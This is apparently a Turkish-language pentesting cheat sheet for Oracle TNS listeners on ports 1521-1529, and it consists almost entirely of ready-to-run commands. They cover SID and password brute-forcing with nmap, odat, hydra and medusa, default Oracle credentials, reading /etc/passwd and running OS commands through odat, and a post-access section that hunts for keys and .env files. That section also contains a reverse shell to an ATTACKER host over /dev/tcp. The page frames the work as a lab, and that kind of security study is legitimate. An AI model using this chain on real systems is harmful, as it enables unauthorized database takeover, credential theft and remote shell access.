1521,1522-1529 - Pentesting Oracle TNS Listener
Oracle TNS database
TNS listener SID/service sızdırır. Zayıf hesap + DBMS privilege zinciri OS komutuna gider. Hedef lab IP’si üzerinde komutları 1521 portuna göre uyarla; her başarıyı ayrı kanıtla.
Metodoloji
Section titled “Metodoloji”-
1521 TNS fingerprint.
-
SID/service brute.
-
sys/system/scott hesapları.
-
Java/scheduler ile OS komut.
nmap -Pn -sV -p1521,1522,1529 TARGETnmap -Pn -p1521,1522,1529 --script oracle-tns-version,oracle-sid-brute TARGETtnscmd10g version -h TARGETodat.py all -s TARGETSID & login
Section titled “SID & login”odat.py sidguesser -s TARGETodat.py passwordguesser -s TARGET -d ORCLsqlplus scott/tiger@TARGET:1521/ORCLsystem/manager, sys/change_on_install, scott/tigerPrivilege → OS
Section titled “Privilege → OS”odat.py dbmsxslprocessor -s TARGET -d ORCL -U user -P pass --getFile /etc/passwdodat.py java -s TARGET -d ORCL -U user -P pass --exec 'id'odat.py externaltable -s TARGET -d ORCL -U user -P pass --exec 'id'Derin enum
Section titled “Derin enum”,1522-1529 - Oracle TNS Listener için ek keşif ve fingerprint.
nmap -Pn -sV -sC -p1521,1522,1529 TARGETnmap -Pn -p1521 --script safe,discovery TARGETtimeout 5 bash -c 'echo | openssl s_client -connect TARGET:1521' 2>/dev/null | headpython3 -c "import socket;s=socket.create_connection(('TARGET',1521));s.settimeout(3);print(s.recv(4096))"Banner / TLS / ALPN notları → ,1522-1529 - Oracle TNS ListenerKimlik & brute (ek)
Section titled “Kimlik & brute (ek)”hydra -L users.txt -P rockyou.txt -s 1521 PROTOCOL://TARGET -t 4medusa -h TARGET -U users.txt -P rockyou.txt -M PROTOCOL -n 1521nmap -p1521 --script '*-brute' TARGETadmin/admin, root/root, guest/(boş), test/testExploit arama
Section titled “Exploit arama”searchsploit Oracle TNSmsfconsole -q -x 'search Oracle TNS; exit'nuclei -u https://TARGET:1521 -t cves/ -silent -severity || truenuclei -u http://TARGET:1521 -tags tech -silent || trueManuel protokol
Section titled “Manuel protokol”nc -nv TARGET 1521printf '' | timeout 3 nc -nv TARGET 1521curl -vk --http1.0 http://TARGET:1521/Wireshark/tcpdump ile konuşmayı kaydet; replay denePost-erişim & loot
Section titled “Post-erişim & loot”config, key, session, env, backupfind / -name '*.conf' -o -name '*.env' -o -name 'id_rsa' 2>/dev/null | headss -lntp; ip a; cat /etc/passwd | headbash -i >& /dev/tcp/ATTACKER/443 0>&1mkdir -p loot && tee loot/notes.txtOperasyon checklist
Section titled “Operasyon checklist”[ ] Fingerprint / sürüm[ ] Auth ve anonim erişim[ ] PoC etki gösterildi[ ] Credential/shell paketlendi[ ] Pivot notuZincir
Section titled “Zincir”SID brute → default creds → ODAT file/java → OS shell